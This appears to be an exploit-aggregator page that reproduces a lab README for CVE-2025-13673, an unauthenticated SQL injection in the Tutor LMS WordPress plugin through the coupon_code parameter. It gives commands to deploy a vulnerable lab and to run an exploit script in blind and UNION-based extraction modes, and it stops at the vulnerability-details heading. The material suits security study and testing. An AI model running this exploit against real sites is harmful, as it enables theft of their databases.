Sploitus

Exploit for CVE-2025-13673

kitploit · 2026-09-02

Exploit Code

MARKDOWN26 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DINOSN-CVE-2025-13673
# CVE-2025-13673 — Лаборатория SQL-инъекций Tutor LMS

Неаутентифицированная SQL-инъекция в плагине WordPress Tutor LMS (<= 3.9.6) через параметр `coupon_code`.

## Быстрый старт

root@kitploit:~
    
    
    # 1. Clone and start the lab
    git clone https://github.com/dinosn/CVE-2025-13673.git
    cd CVE-2025-13673
    ./setup.sh            # Deploys WordPress + Tutor LMS 3.9.3
    
    # 2. Run the exploit
    pip install requests   # only dependency
    
    # Unauthenticated (time-based blind — no credentials needed)
    python3 exploit.py http://localhost:8080
    
    # Authenticated (UNION-based — instant extraction)
    python3 exploit.py http://localhost:8080 -u testuser -p test123 --all
    

## Детали уязвимости